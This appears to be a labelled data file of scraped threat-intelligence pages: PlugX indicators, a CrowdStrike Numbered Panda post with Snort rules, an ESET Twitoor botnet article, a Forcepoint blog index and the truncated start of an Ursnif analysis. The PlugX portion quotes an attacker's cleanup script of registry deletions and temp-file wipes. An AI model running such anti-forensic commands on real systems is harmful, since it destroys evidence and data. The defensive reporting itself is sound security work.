""HKU\\S-1-5-19\\Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\UserAssist\\{CEBFF5CD-ACE2-4F4F-9178-9926F41749EA}\\Count\\HRZR_PGYFRFFVBA"" /f reg delete ""HKU\\S-1-5-19\\Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\UserAssist\\{CEBFF5CD-ACE2-4F4F-9178-9926F41749EA}\\Count\\{S38OS404-1Q43-42S2-9305-67QR0O28SP23}\\rkcybere.rkr"" /f reg delete ""HKU\\S-1-5-19\\Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\UserAssist\\{CEBFF5CD-ACE2-4F4F-9178-9926F41749EA}\\Count\\P:\\Hfref\\Nqzvavfgengbe\\Qbjaybnqf\\ErtfubgCbegnoyr\\Ncc\\ertfubg\\ertfubg_k64.rkr"" /f reg delete ""HKU\\S-1-5-19\\Software\\Microsoft\\Windows\\CurrentVersion\\Internet Settings\\Connections\\SavedLegacySettings"" /f reg delete ""HKU\\S-1-5-20\\Software\\WinRAR SFX"" /f reg delete ""HKU\\S-1-5-20\\Software\\Microsoft\\Windows Script Host"" /f reg delete ""HKU\\S-1-5-20\\Software\\Microsoft\\Windows Script Host\\Settings"" /f reg delete ""HKU\\S-1-5-20\\Software\\WinRAR SFX"" /f reg delete ""HKU\\S-1-5-20\\Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\UserAssist\\{CEBFF5CD-ACE2-4F4F-9178-9926F41749EA}\\Count\\P:\\Hfref\\Nqzvavfgengbe\\Qbjaybnqf\\fipubfg\\fipubfg.rkr"" /f reg delete ""HKU\\S-1-5-20\\Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\UserAssist\\{CEBFF5CD-ACE2-4F4F-9178-9926F41749EA}\\Count\\{Q65231O0-O2S1-4857-N4PR-N8R7P6RN7Q27}\\pzq.rkr"" /f reg delete ""HKU\\S-1-5-20\\Software\\WinRAR SFX\\C%%Users%ADMINI~1%AppData%Local%Temp"" /f reg delete ""HKU\\S-1-5-20\\Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\UserAssist\\{CEBFF5CD-ACE2-4F4F-9178-9926F41749EA}\\Count\\HRZR_PGYFRFFVBA"" /f reg delete ""HKU\\S-1-5-20\\Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\UserAssist\\{CEBFF5CD-ACE2-4F4F-9178-9926F41749EA}\\Count\\{S38OS404-1Q43-42S2-9305-67QR0O28SP23}\\rkcybere.rkr"" /f reg delete ""HKU\\S-1-5-20\\Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\UserAssist\\{CEBFF5CD-ACE2-4F4F-9178-9926F41749EA}\\Count\\P:\\Hfref\\Nqzvavfgengbe\\Qbjaybnqf\\ErtfubgCbegnoyr\\Ncc\\ertfubg\\ertfubg_k64.rkr"" /f reg delete ""HKU\\S-1-5-20\\Software\\Microsoft\\Windows\\CurrentVersion\\Internet Settings\\Connections\\SavedLegacySettings"" /f reg delete ""HKU\\S-1-5-21-590835768-3595378272-1660587800-1643\\Software\\WinRAR SFX"" /f reg delete ""HKU\\S-1-5-21-590835768-3595378272-1660587800-1643\\Software\\Microsoft\\Windows Script Host"" /f reg delete ""HKU\\S-1-5-21-590835768-3595378272-1660587800-1643\\Software\\Microsoft\\Windows Script Host\\Settings"" /f reg delete ""HKU\\S-1-5-21-590835768-3595378272-1660587800-1643\\Software\\WinRAR SFX"" /f reg delete ""HKU\\S-1-5-21-590835768-3595378272-1660587800-1643\\Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\UserAssist\\{CEBFF5CD-ACE2-4F4F-9178-9926F41749EA}\\Count\\P:\\Hfref\\Nqzvavfgengbe\\Qbjaybnqf\\fipubfg\\fipubfg.rkr"" /f reg delete ""HKU\\S-1-5-21-590835768-3595378272-1660587800-1643\\Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\UserAssist\\{CEBFF5CD-ACE2-4F4F-9178-9926F41749EA}\\Count\\{Q65231O0-O2S1-4857-N4PR-N8R7P6RN7Q27}\\pzq.rkr"" /f reg delete ""HKU\\S-1-5-21-590835768-3595378272-1660587800-1643\\Software\\WinRAR SFX\\C%%Users%ADMINI~1%AppData%Local%Temp"" /f reg delete ""HKU\\S-1-5-21-590835768-3595378272-1660587800-1643\\Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\UserAssist\\{CEBFF5CD-ACE2-4F4F-9178-9926F41749EA}\\Count\\HRZR_PGYFRFFVBA"" /f reg delete ""HKU\\S-1-5-21-590835768-3595378272-1660587800-1643\\Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\UserAssist\\{CEBFF5CD-ACE2-4F4F-9178-9926F41749EA}\\Count\\{S38OS404-1Q43-42S2-9305-67QR0O28SP23}\\rkcybere.rkr"" /f reg delete ""HKU\\S-1-5-21-590835768-3595378272-1660587800-1643\\Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\UserAssist\\{CEBFF5CD-ACE2-4F4F-9178-9926F41749EA}\\Count\\P:\\Hfref\\Nqzvavfgengbe\\Qbjaybnqf\\ErtfubgCbegnoyr\\Ncc\\ertfubg\\ertfubg_k64.rkr"" /f reg delete ""HKU\\S-1-5-21-590835768-3595378272-1660587800-1643\\Software\\Microsoft\\Windows\\CurrentVersion\\Internet Settings\\Connections\\SavedLegacySettings"" /f reg delete ""HKU\\S-1-5-21-590835768-3595378272-1660587800-1643_Classes\\Software\\WinRAR SFX"" /f reg delete ""HKU\\S-1-5-21-590835768-3595378272-1660587800-1643_Classes\\Software\\Microsoft\\Windows Script Host"" /f reg delete ""HKU\\S-1-5-21-590835768-3595378272-1660587800-1643_Classes\\Software\\Microsoft\\Windows Script Host\\Settings"" /f reg delete ""HKU\\S-1-5-21-590835768-3595378272-1660587800-1643_Classes\\Software\\WinRAR SFX"" /f reg delete ""HKU\\S-1-5-21-590835768-3595378272-1660587800-1643_Classes\\Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\UserAssist\\{CEBFF5CD-ACE2-4F4F-9178-9926F41749EA}\\Count\\P:\\Hfref\\Nqzvavfgengbe\\Qbjaybnqf\\fipubfg\\fipubfg.rkr"" /f reg delete ""HKU\\S-1-5-21-590835768-3595378272-1660587800-1643_Classes\\Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\UserAssist\\{CEBFF5CD-ACE2-4F4F-9178-9926F41749EA}\\Count\\{Q65231O0-O2S1-4857-N4PR-N8R7P6RN7Q27}\\pzq.rkr"" /f reg delete ""HKU\\S-1-5-21-590835768-3595378272-1660587800-1643_Classes\\Software\\WinRAR SFX\\C%%Users%ADMINI~1%AppData%Local%Temp"" /f reg delete ""HKU\\S-1-5-21-590835768-3595378272-1660587800-1643_Classes\\Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\UserAssist\\{CEBFF5CD-ACE2-4F4F-9178-9926F41749EA}\\Count\\HRZR_PGYFRFFVBA"" /f reg delete ""HKU\\S-1-5-21-590835768-3595378272-1660587800-1643_Classes\\Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\UserAssist\\{CEBFF5CD-ACE2-4F4F-9178-9926F41749EA}\\Count\\{S38OS404-1Q43-42S2-9305-67QR0O28SP23}\\rkcybere.rkr"" /f reg delete ""HKU\\S-1-5-21-590835768-3595378272-1660587800-1643_Classes\\Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\UserAssist\\{CEBFF5CD-ACE2-4F4F-9178-9926F41749EA}\\Count\\P:\\Hfref\\Nqzvavfgengbe\\Qbjaybnqf\\ErtfubgCbegnoyr\\Ncc\\ertfubg\\ertfubg_k64.rkr"" /f reg delete ""HKU\\S-1-5-21-590835768-3595378272-1660587800-1643_Classes\\Software\\Microsoft\\Windows\\CurrentVersion\\Internet Settings\\Connections\\SavedLegacySettings"" /f del /s c:\\windows\\temp\\*.bat del /s c:\\windows\\temp\\*.dat del /s c:\\windows\\temp\\*.dll del /s c:\\windows\\temp\\*.exe del /s c:\\windows\\temp\\*.vbs del %0 \xc2 Appendix D \xe2\x80\x93 PlugX Extracted strings https//pastebin.com/eSsjmhBG https://pastebin.com/PSxQd6qw https://pastebin.com/CzjM9qwi https://pastebin.com/xHDSxxMD %ProgramData%\\arm2sv1k DSSM DSSM Microsoft Office Document Update Utility Software\\Microsoft\\Windows\\CurrentVersion\\Run JmLI %ProgramFiles(x86)%\\Sophos\\AutoUpdate\\ALUpdate.exe %ProgramFiles(x86)%\\Common Files\\Java\\Java Update\\jusched.exe %ProgramFiles(x86)%\\Common Files\\Adobe\\ARM\\1.0\\armsvc.exe %windir%\\system32\\FlashPlayerApp.exe slax pastebin mahTszuBzqwUTcGt %ProgramData%\\arm2sv1k\\Akgcl 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 https//pastebin.com/eSsjmhBG https://pastebin.com/PSxQd6qw https://pastebin.com/CzjM9qwi https://pastebin.com/xHDSxxMD %ProgramData%\\arm2sv1k DSSM DSSM Microsoft Office Document Update Utility Software\\Microsoft\\Windows\\CurrentVersion\\Run JmLI %ProgramFiles(x86)%\\Sophos\\AutoUpdate\\ALUpdate.exe %ProgramFiles(x86)%\\Common Files\\Java\\Java Update\\jusched.exe %ProgramFiles(x86)%\\Common Files\\Adobe\\ARM\\1.0\\armsvc.exe %windir%\\system32\\FlashPlayerApp.exe slax pastebin mahTszuBzqwUTcGt %ProgramData%\\arm2sv1k\\Akgcl Get updates from Palo Alto Networks! Sign up to receive the latest news, cyber threat intelligence and research from us Please enter your email address! Please mark, I'm not a robot! By submitting this form, you agree to our Terms of Use and acknowledge our Privacy Statement. Popular Resources Resource Center Blog Communities Tech Docs Unit 42 Sitemap Legal Notices Privacy Terms of Use Documents Account Manage Subscriptions \xc2 Report a Vulnerability \xc2\xa9 2019 Palo Alto Networks, Inc. All rights reserved.","0","1","0","0","0","0","1","0","0","0","1","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","1","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","1","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","1","0" -"BLOG Whois Numbered Panda March 29, 2013Adam MeyersResearch & Threat Intel Blue Last week\xe2\x80\x99s Intelligence blog post featured Anchor Panda, one of the many adversary groups that CrowdStrike tracks. The adversary is the human component in an attack that one should focus on. It is not sufficient to simply identify \xe2\x80\x98Chinese-based hackers\xe2\x80\x99; it is important to understand the adversary group that has targeted your enterprise and what intelligence they are there to collect. By understanding that there are multiple groups and that they all have different tactics, techniques, and practices (TTPs), you can begin to understand the nature of the threat, what they are looking to collect, and raise the operational cost in order to make targeting your enterprise a costly and difficult endeavor. Attribution is a tricky subject with regard to incident response and intrusion investigation; it can take years of research to get the home address or the location of the Technical Reconnaissance Bureau (TRB) affiliated with the threat actor. We have to rely on the categorization of the adversary and understanding their TTPs, victims, objectives, and prior art to fully evaluate the threat that adversary poses to us. Understanding the tasking orders the adversary has received can be revealing of the adversary, who they are working for, and their future targeting objectives. If we understand that an adversary has targeted a high-tech company\xe2\x80\x99s intellectual property, then when we encounter that adversary at a different technology company, we have a pretty good idea what they are after. Victims of a targeted attack by a \xe2\x80\x9cknown\xe2\x80\x9d adversary benefit from understanding their intent in order to help gauge response and hopefully make strategic decisions about what is the appropriate countermeasure. If the adversary is known to target mergers and acquisitions intelligence of companies involved in the Chinese market, then when that adversary shows up prior to, or during, some M&A activity, the victim can begin to take actions to limit the effectiveness of the compromised data, feed deceptive information or perhaps wage a formal complaint. With this in mind, this week we are providing some indicators for a China based adversary who we crypt as \xe2\x80\x9cNUMBERED PANDA.\xe2\x80\x9d Numbered Panda has a long list of high-profile victims and is known by a number of names including: DYNCALC, IXESHE, JOY RAT, APT-12, etc. Numbered Panda has targeted a variety of victims including but not limited to media outlets, high-tech companies, and multiple governments. Numbered Panda has targeted organizations in time-sensitive operations such as the Fukushima Reactor Incident of 2011, likely filling intelligence gaps in the ground cleanup/mitigation operations. Screen saver files, which are binary executables and PDF documents, are common Numbered Panda weaponization tactics. One of the most interesting techniques that Numbered Panda likes to use is to dynamically calculate the Command and Control (C2) port by resolving a DNS. This effectively helps Numbered Panda bypass egress filtering implemented to prevent unauthorized communications on some enterprises. The malware will typically use two DNS names for communication: one is used for command and control; the other is used with an algorithm to calculate the port to communicate to. There are several variations of the algorithm used to calculate the C2 port, but one of the most common is to multiply the first two octets of the IP address and add the third octet to that value. This is typically represented as: (A * B) + C \xe2\x80\x93 common values might be 200.2.43.X, which would result in communication on port 443. Numbered Panda will frequently use blogs or WordPress in the c2 infrastructure, which helps to make the network traffic look more legitimate. CrowdStrike has observed Numbered Panda targeting high-tech, defense contractors, media organizations, and western governments. The following intrusion detection rules were written and tested by the CrowdStrike Global Threat Analysis Cell (GTAC) with performance and low false positives in mind \xe2\x80\x93 just remember to change the Signature ID (SID) in the IDS rules. Disclosure of this information went through the same IGL process as discussed in the Whois Anchor Panda blog post. alert tcp $HOME_NET any -> $EXTERNAL_NET any (msg: ""[CrowdStrike] NUMBERED PANDA - Joy RAT Variant 1""; flow: from_client,established; content: ""6YmV|7c 22|""; depth: 6; sid: xxx; rev: 2; ) alert tcp $HOME_NET any -> $EXTERNAL_NET any (msg: ""[CrowdStrike] NUMBERED PANDA - Joy RAT Variant 2""; flow: from_client, established; content: ""Fyoj`U""; depth: 6; sid: xxx; rev: 2;) alert tcp $HOME_NET any -> $EXTERNAL_NET any (msg: ""[CrowdStrike] NUMBERED PANDA - Joy RAT Variant 3""; flow: from_client,established; content: ""yb|13|j[""; depth: 5; sid: xxx; rev: 2;) Be sure to follow @CrowdStrike on Twitter as we continue to provide more intelligence and adversaries over the coming weeks. If you have any questions about these signatures or want to hear more about Numbered Panda and their tradecraft, please contact: intelligence@crowdstrike.com and inquire about our intelligence-as-a-service solutions. Tweet Share CrowdStrike Falcon Free Trial Adam Meyers Adam Meyers has authored numerous papers for peer-reviewed industry venues and has received awards for his dedication to the information security industry. As Vice President of Intelligence for Crowdstrike, Meyers oversees all of CrowdStrike\xe2\x80\x99s intelligence gathering and cyber-adversarial monitoring activities. Previously, Meyers was the Director of Cyber Security Intelligence with the National Products and Offerings Division of SRA International where he provided technical expertise at the tactical level and strategic guidance on overall security program objectives. Related Content Student Looking At Three Computer Screens With Ransomware Ransomware Increases the Back-to-School Blues As students all over the United States donned their backpacks and packed their lunches to go\xe2\x80\xa6 SPIDER Adversary Image In Front Of Red Code Who is Salty Spider (Sality)? Common Aliases SALTY SIDER is most commonly identified with the botnet it maintains (Sality) and it\xe2\x80\x99s\xe2\x80\xa6 Laptop With Mobile Threat Landscape Cover Image Webcast: A Deep Dive Into the Mobile Malware Report Trends and Recommendations A new webcast, \xe2\x80\x9cThreat Landscape: Mobile Malware,\xe2\x80\x9d delves into the challenges of securing mobile devices in\xe2\x80\xa6 CATEGORIES ENDPOINT PROTECTION(181) EXECUTIVE VIEWPOINT(95) FROM THE FRONT LINES(86) RESEARCH & THREAT INTEL(138) TECH CENTER(56) CONNECT WITH US CrowdStrike Falcon Free Trial FEATURED ARTICLES How to gain visibility into Mobile Devices September 17, 2019 Ransomware Increases the Back-to-School Blues September 17, 2019 How to use Falcon Insight to get Additional USB Device Visibility September 16, 2019 Using Docker to Do Machine Learning at Scale September 13, 2019 SUBSCRIBE Sign up now to receive the latest notifications and updates from CrowdStrike. SIGN UP See CrowdStrike Falcon in Action Detect, prevent, and respond to attacks\xe2\x80\x94 even malware-free intrusions\xe2\x80\x94at any stage, with next-generation endpoint protection. SEE DEMO Who is Anchor PandaWho is Clever Kitten Copyright \xc2\xa9 2019 CrowdStrike Privacy Request Info Blog Join Our Team Sitemap Contact Us 1.888.512.8906 English","0","0","0","0","0","0","1","0","0","0","1","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","1","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0" -"First Twitter\xe2\x80\x91controlled Android botnet discovered | WeLiveSecurity In English Em Portugu\xc3\xaas En fran\xc3\xa7ais En Espa\xc3\xb1ol In Deutsch Menu toggle menu All Posts Latest Research How To Videos Podcasts Conference Materials White Papers Magazine Our Experts Em Portugu\xc3\xaas En fran\xc3\xa7ais En Espa\xc3\xb1ol In Deutsch Award-winning news, views, and insight from the ESET security community First Twitter\xe2\x80\x91controlled Android botnet discovered Detected by ESET as Android/Twitoor, this malware is unique because of its resilience mechanism. Instead of being controlled by a traditional command-and-control server, it receives instructions via tweets. Editor 24 Aug 2016 - 02:05PM Share Detected by ESET as Android/Twitoor, this malware is unique because of its resilience mechanism. Instead of being controlled by a traditional command-and-control server, it receives instructions via tweets. Android/Twitoor is a backdoor capable of downloading other malware onto an infected device. It has been active for around one month. This malicious app, detected by ESET as a variant of Android/Twitoor.A, can\xe2\x80\x99t be found on any official Android app store \xe2\x80\x93 it probably spreads by SMS or via malicious URLs. It impersonates a porn player app or MMS application but without having their functionality. After launching, it hides its presence on the system and checks the defined Twitter account at regular intervals for commands. Based on received commands, it can either download malicious apps or switch the C&C Twitter account to another one. \xe2\x80\x9cUsing Twitter instead of command-and-control (C&C) servers is pretty innovative for an Android botnet.\xe2\x80\x9d \xe2\x80\x9cUsing Twitter instead of command-and-control (C&C) servers is pretty innovative for an Android botnet,\xe2\x80\x9d says Luk\xc3\xa1\xc5\xa1 \xc5 tefanko, the ESET malware researcher who discovered the malicious app. Malware that enslaves devices to form botnets needs to be able to receive updated instructions. That communication is an Achilles heel for any botnet \xe2\x80\x93 it may raise suspicion and, cutting the bots off is always lethal to the botnet\xe2\x80\x99s functioning. Additionally, should the command-and-control (C&C) servers get seized by the authorities, it would ultimately lead to disclosing information about the entire botnet. To make the Twitoor botnet\xe2\x80\x99s communication more resilient, botnet designers took various steps like encrypting their messages, using complex topologies of the C&C network \xe2\x80\x93 or using innovative means for communication, among them the use of social networks. \xe2\x80\x9cThese communication channels are hard to discover and even harder to block entirely. On the other hand, it\xe2\x80\x99s extremely easy for the crooks to re-direct communications to another freshly created account,\xe2\x80\x9d explains \xc5 tefanko. In the Windows space, Twitter, founded in 2006, was first used to control botnets as early as in 2009. Android bots have also already been found being controlled via other non-traditional means \xe2\x80\x93 blogs or some of the many cloud messaging systems like Google\xe2\x80\x99s or Baidu\xe2\x80\x99s \xe2\x80\x93 but Twitoor is the first Twitter-based bot malware, according to \xc5 tefanko. \xe2\x80\x9cIn the future, we can expect that the bad guys will try to make use of Facebook statuses or deploy LinkedIn and other social networks\xe2\x80\x9d, states ESET\xe2\x80\x99s researcher. Currently, the Twitoor trojan has been downloading several versions of mobile banking malware. However, the botnet operators can start distributing other malware, including ransomware, at any time warns \xc5 tefanko. \xe2\x80\x9cTwitoor serves as another example of how cybercriminals keep on innovating their business,\xe2\x80\x9d Stefanko continues. \xe2\x80\x9cThe takeaway? Internet users should keep on securing their activities with good security solutions for both computers and mobile devices.\xe2\x80\x9d Hashes: E5212D4416486AF42E7ED1F58A526AEF77BE89BE A9891222232145581FE8D0D483EDB4B18836BCFC AFF9F39A6CA5D68C599B30012D79DA29E2672C6E Editor 24 Aug 2016 - 02:05PM Similar Articles Cybersecurity Growing pains: Skills gap meets expanding threat surface Twitter Twitter bots, disassemble Malware One year later: EternalBlue exploit more popular now than during WannaCryptor outbreak Mobile Security Tricks that cybercriminals use to hide in your phone Discussion Home About Us Contact Us Sitemap Our Experts ESET Research How To Categories RSS Configurator News Widget Privacy policy Legal Information Copyright \xc2\xa9 ESET, All Rights Reserved Back to top","0","0","0","0","0","0","1","0","0","0","1","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","1","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0" -"X-Labs | Forcepoint Skip to main content This website uses cookies, including for advertising, social media and analytics purposes. To see what cookies we use and how to change your cookie settings, click here. By continuing to browse this website, you accept our use of cookies. Close Forcepoint Enter your keywords Is Type CompanyBack About Us Executive Team Customers Newsroom Careers Events Contact Us Support & TrainingBack Support Training Implementation Packages Find a Partner PartnersBack Partner Login Request a Partner Login Global Partner Program Accredited Services Partners Become a Partner Find a Distributor MSSP Program Technology Partners Authorized Training Center (ATC) Program Blogs English Espa\xc3\xb1ol (Am\xc3\xa9rica Latina) Fran\xc3\xa7ais Deutsch Italiano Portugu\xc3\xaas \xe7\xae\x80\xe4\xbd\x93\xe4\xb8\xad\xe6\x96\x87 \xe7\xb9\x81\xe9\xab\x94\xe4\xb8\xad\xe6\x96\x87 \xe6\x97\xa5\xe6\x9c\xac\xe8\xaa\x9e \xed\x95\x9c\xea\xb5\xad\xec\x96\xb4 T\xc3\xbcrk\xc3\xa7e Data & IPBack Securing data at rest, in-motion, and in-use across hybrid environments. We are a 9x leader in Gartner\xe2\x80\x99s Enterprise DLP Magic Quadrant. SCHEDULE A DEMO Products CASB: Cloud Access Security Broker DLP: Data Loss Prevention UEBA: Behavioral Analytics I Need To Protect Data in the Cloud Securely Implement Office 365 Dynamic Data Protection Comply with GDPR Next-Gen My Data Protection View All Data & IP Protection Products and Use Cases Cloud & NetworkBack Transform your network and security for the cloud. Forcepoint NGFW is the sole visionary in Gartner's 2018 Magic Quadrant for NGFW. SCHEDULE A DEMO Products NGFW: Next Generation Firewall Web Security CASB: Cloud Access Security Broker Email Security I Need To Connect and Secure Remote Offices and Branches Modernize My Hybrid Network Access and Move Data on Separate Networks View All Cloud & Network Security Products and Use Cases Insider ThreatBack Protect your workforce and supply chain from insider theft and sabotage. Stopping insider threats for over 15 years with over 1M endpoints protected. SCHEDULE A DEMO Products UEBA: Behavioral Analytics Insider Threat DLP: Data Loss Prevention I Need To Start an Insider Threat Program View All Workforce Protection Products and Use Cases Our PlatformBack Converged Security Platform Forcepoint X-Labs Technology Partners Deployment Options View All Products IndustriesBack Government Critical Infrastructure Financial Services Healthcare Retail ResourcesBack Watch/Listen Videos Webcasts Podcasts Download Brochures Datasheets Infographics Read eBooks Analyst Reports Whitepapers Reports Case Studies Cyber Edu Schedule a Demo Schedule a Demo Main Menu You are here Home:Company:Blogs:X-Labs X-Labs All All X-Labs Audiences CXO Cybersecurity Perspectives Government Cybersecurity Sparking Curiosity to Change Security Behaviors \xe2\x80\x93 BHUSA 2019 Slides and Summary Carl Leonard X-Labs Newsletter Get insight, analysis & news straight to your inbox By submitting your email address, you are signing up for Forcepoint's X-Labs Newsletter. Your email will not be used for any other purpose. Identifying Insider Threat Through Analysis of Data-at-Rest Audra Simons Dalwinderjeet Kular One Year On \xe2\x80\x93 Are Algorithms Still Dangerous? Carl Leonard Passwords, Passphrases, or \xe2\x80\x9cI\xe2\x80\x99ll Pass\xe2\x80\x9d on NIST\xe2\x80\x99s Digital Identity Guidelines Carl Leonard Margaret Cunningham Forcepoint X-Labs to present at Black Hat USA 2019 Carl Leonard Cybersecurity Predictions 2019: mid-year review Carl Leonard Understanding the \xe2\x80\x9cIntelligence\xe2\x80\x9d in AI - X-Labs at Ai4Cybersecurity Carl Leonard Where are you on the security maturity curve? X-Labs at Infosec19 Carl Leonard Do you experience Decision Fatigue and Wishful Thinking? X-Labs at Infosec19 Carl Leonard Assessing risk in Office documents - Part 4: CVE and generic exploit detection KN Kurt Natvig Assessing risk in Office documents - Part 3: Exploited \xe2\x80\x9cweaponized\xe2\x80\x9d RTFs KN Kurt Natvig Assessing risk in Office documents - Part 2: Hide my code or download it? KN Kurt Natvig Assessing risk in Office documents - Part 1: Introduction KN Kurt Natvig Should non-EMV transactions be phased out completely? An analysis of TinyPOS Robert Neumann LockerGoga ransomware - how it works KN Robert Neumann Kurt Natvig Attacking the internal network from the public Internet using a browser as a proxy John Bergbom Show More Protecting the human point is both Forcepoint's vision and the focus of our products. Schedule a live demo with a Forcepoint representative Schedule a Demo Stay Up To Speed Join Our Mailing List Feedback Report a Vulnerability Contact Us Other Careers Services Free Trials Terms & Conditions Legal and Privacy \xc2\xa9 2019 Forcepoint LinkedIn Twitter Facebook YouTube RSS","0","0","0","0","0","0","1","0","0","0","1","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","1","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0" -"Tricks and COMfoolery: How Ursnif (Gozi) Evades Detection Skip to content Stop Attacks Email Attachments Phishing Links Downloads & Executables Unprotected Networks Uncategorized Websites Defense-grade Security Our Tech Bromium Secure Platform Virtualization-Based Security Bromium Protected App Rapid Deployment & ROI Risk Assessment Calculator Threat Research Blog Resources Resources Menu 1 Case Studies Data Sheets Infographics Reports Solution Briefs Resources Menu 2 Technical Briefs Threat Research Videos Webinars White Papers Case Studies Data Sheets Infographics Reports Solution Briefs Technical Briefs Threat Research Videos Webinars White Papers More Company Contact Us Events News Partners Support Search Request Demo Search for: Tricks and COMfoolery: How Ursnif Evades DetectionBlog \xe2\x80\xa2 Tricks and COMfoolery: How Ursnif Evades Detection Technical Blog March 7, 2019 \xe2\x80\xa2 Category: Breaking News, Threats \xe2\x80\xa2 By: Alex Holland \xe2\x80\xa2 Comments: 0 Tricks and COMfoolery: How Ursnif Evades Detection Ursnif is one of the main threats that is effectively evading detection right now (at publication) The dropper uses a COM technique to hide its process parentage WMI is used to bypass a Windows Defender attack surface reduction rule Fast evolution of delivery servers means detection tools are left in the dark In February we saw a resurgence of Ursnif (also known as Gozi), a credential-stealing Trojan that was first uncovered in 2007 and has been active ever since. Alongside Emotet, this threat is one of the most pervasive and effective malware families currently being delivered through malicious spam campaigns. The recent campaign we observed used a standard multi-stage malware delivery mechanism, consisting of a phishing email delivering a Microsoft Word dropper containing a VBA AutoOpen macro inside a password-protected zip file. When opened, the document downloads the Ursnif executable from a remote server using PowerShell WebClient.DownloadFile, WebClient.DownloadString or WebClient.DownloadData methods. Unlike many run-of-the-mill malicious spam campaigns, what\xe2\x80\x99s interesting is how Ursnif\xe2\x80\x99s operators link different techniques together to effectively socially engineer targets, evade perimeter detection and bypass one of Windows Defender\xe2\x80\x99s attack surface reduction rules. Ursnif infection chain Effective Social Engineering Ursnif\xe2\x80\x99s operators commonly tailor the phishing lure used against targets to make the email appear more authentic. In this campaign, this was done by basing attachment names and the message body on businesses in the same or related industries, or those that are geographically close to the target. In one of the samples we analysed, the target was a manufacturer of a niche product. The zip attachment was named after a similar manufacturer in the same industry and the Word dropper containing the malicious macro was named \xe2\x80\x98Request4.doc\xe2\x80\x99, presumably to trick the target into thinking that it was a legitimate purchase order. In addition to targeted lures, Ursnif campaigns often rely on exploiting the existing trust relationship between a compromised email account and the target. Instead of an unsolicited message, the target is commonly sent a phishing email from a compromised email account as a reply to an existing conversation between the sender and the target. The curiosity of receiving an unexpected attachment from a sender that is already known to the target might just be enough to entice a user into opening the attachment. Attack Infrastructure Ursnif has a fast-changing delivery and command and control (C2) infrastructure. Our research found that the average time from the registration of a domain used to host Ursnif executables to when a user first runs the corresponding Word dropper is less than 12 hours. The speed at which Ursnif\xe2\x80\x99s operators can change its infrastructure gives web proxies and other perimeter security controls that rely on a traditional detection-based techniques little time to block the download of the malware. In one example, only one 